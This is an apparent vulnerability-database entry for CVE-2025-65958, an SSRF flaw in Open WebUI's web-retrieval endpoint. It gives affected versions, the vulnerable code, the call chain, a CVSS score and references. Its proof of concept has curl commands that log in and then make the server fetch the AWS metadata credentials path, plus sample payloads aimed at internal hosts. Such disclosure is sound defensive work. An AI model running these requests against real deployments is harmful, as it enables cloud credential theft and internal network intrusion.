        "0.4.7",
        "0.4.8",
        "0.5.0",
        "0.5.0.dev1",
        "0.5.0.dev2",
        "0.5.1",
        "0.5.10",
        "0.5.11",
        "0.5.12",
        "0.5.13",
        "0.5.14",
        "0.5.15",
        "0.5.16",
        "0.5.17",
        "0.5.18",
        "0.5.19",
        "0.5.2",
        "0.5.20",
        "0.5.3",
        "0.5.3.dev1",
        "0.5.4",
        "0.5.5",
        "0.5.6",
        "0.5.7",
        "0.5.8",
        "0.5.9",
        "0.6.0",
        "0.6.1",
        "0.6.10",
        "0.6.11",
        "0.6.12",
        "0.6.13",
        "0.6.14",
        "0.6.15",
        "0.6.16",
        "0.6.18",
        "0.6.19",
        "0.6.2",
        "0.6.20",
        "0.6.21",
        "0.6.22",
        "0.6.23",
        "0.6.24",
        "0.6.25",
        "0.6.26",
        "0.6.26.dev1",
        "0.6.27",
        "0.6.28",
        "0.6.29",
        "0.6.3",
        "0.6.30",
        "0.6.31",
        "0.6.32",
        "0.6.33",
        "0.6.34",
        "0.6.35",
        "0.6.36",
        "0.6.4",
        "0.6.5",
        "0.6.6",
        "0.6.6.dev1",
        "0.6.7",
        "0.6.8",
        "0.6.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-65958",
    "GHSA-c6xv-rcvw-v685"
  ],
  "details": "### Summary\nA Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.\n\n\n### Details\nThe vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open_webui/routers/retrieval.py at lines 1758-1767.\n\n  Vulnerable code:\n  @router.post(\"/process/web\")\n  def process_web(\n      request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user)\n  ):\n      try:\n          collection_name = form_data.collection_name\n          if not collection_name:\n              collection_name = calculate_sha256_string(form_data.url)[:63]\n\n          content, docs = get_content_from_url(request, form_data.url)  # \u2190 SSRF vulnerability\n\nThe form_data.url parameter is passed directly to get_content_from_url() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:\n\n  Call chain:\n  1. retrieval.py:1767 \u2192 get_content_from_url(request, form_data.url)\n  2. retrieval/utils.py:77 \u2192 get_loader(request, url)\n  3. retrieval/utils.py:62 \u2192 get_web_loader(url, ...) or YoutubeLoader(url, ...)\n  4. Both loaders fetch the user-supplied URL without validation\n\n  No validation is performed for:\n  - Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)\n  - Localhost addresses (127.0.0.0/8)\n  - Cloud metadata endpoints (169.254.169.254, fd00:ec2::254)\n  - Protocol restrictions (file://, gopher://, etc.)\n  - Domain allowlisting\n\n\n### PoC\nPrerequisites: Valid user account (any role)\n\n  Step 1 - Authenticate:\n  TOKEN=$(curl -s \"http://localhost:3000/api/v1/auths/signin\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"email\":\"user@example.com\",\"password\":\"password\"}\u0027 \\\n    | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\n  Step 2 - Basic SSRF Test (external URL):\n  curl -s \"http://localhost:3000/api/v1/retrieval/process/web\" \\\n    -H \"Authorization: Bearer $TOKEN\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"url\":\"http://example.com\"}\u0027\n\n  Result: Server fetches example.com and returns its content, proving the vulnerability.\n\n  {\n    \"status\": true,\n    \"file\": {\n      \"data\": {\n        \"content\": \"Example Domain This domain is for use in documentation...\"\n      }\n    }\n  }\n\n  Step 3 - Advanced Attack (AWS metadata):\n  curl -s \"http://localhost:3000/api/v1/retrieval/process/web\" \\\n    -H \"Authorization: Bearer $TOKEN\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}\u0027\n\n  Result: Server exposes cloud credentials if running on AWS/GCP/Azure.\n\n  Other attack examples:\n  - Internal network: {\"url\":\"http://192.168.1.1\"}\n  - Localhost services: {\"url\":\"http://localhost:5432\"}\n  - Internal APIs: {\"url\":\"http://internal-api.local\"}\n\n\n### Impact\nWho is affected: All authenticated users (no special permissions required)\n\n  Attack capabilities:\n\n  1. Cloud Environment Compromise\n    - Steal AWS/GCP/Azure credentials via metadata endpoints\n    - Result: Full cloud account takeover\n  2. Internal Network Access\n    - Bypass firewalls to access internal services (databases, admin panels, APIs)\n    - Port scan and map internal infrastructure\n    - Result: Complete network visibility\n  3. Data Exfiltration\n    - Read internal documentation, configurations, secrets\n    - Access Kubernetes API servers\n    - Result: Credential theft, API key exposure",
  "id": "PYSEC-2026-1726",
  "modified": "2026-07-07T17:24:54.144206Z",
  "published": "2026-07-07T16:03:12.222474Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65958"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/02238d3113e966c353fce18f1b65117380896774"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/open-webui"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-c6xv-rcvw-v685"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2025-65958 (GCVE-0-2025-65958)

EUVD-2026-262849

FKIE_CVE-2025-65958

GHSA-C6XV-RCVW-V685

Summary

Details

PoC

Impact

PYSEC-2026-1726

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour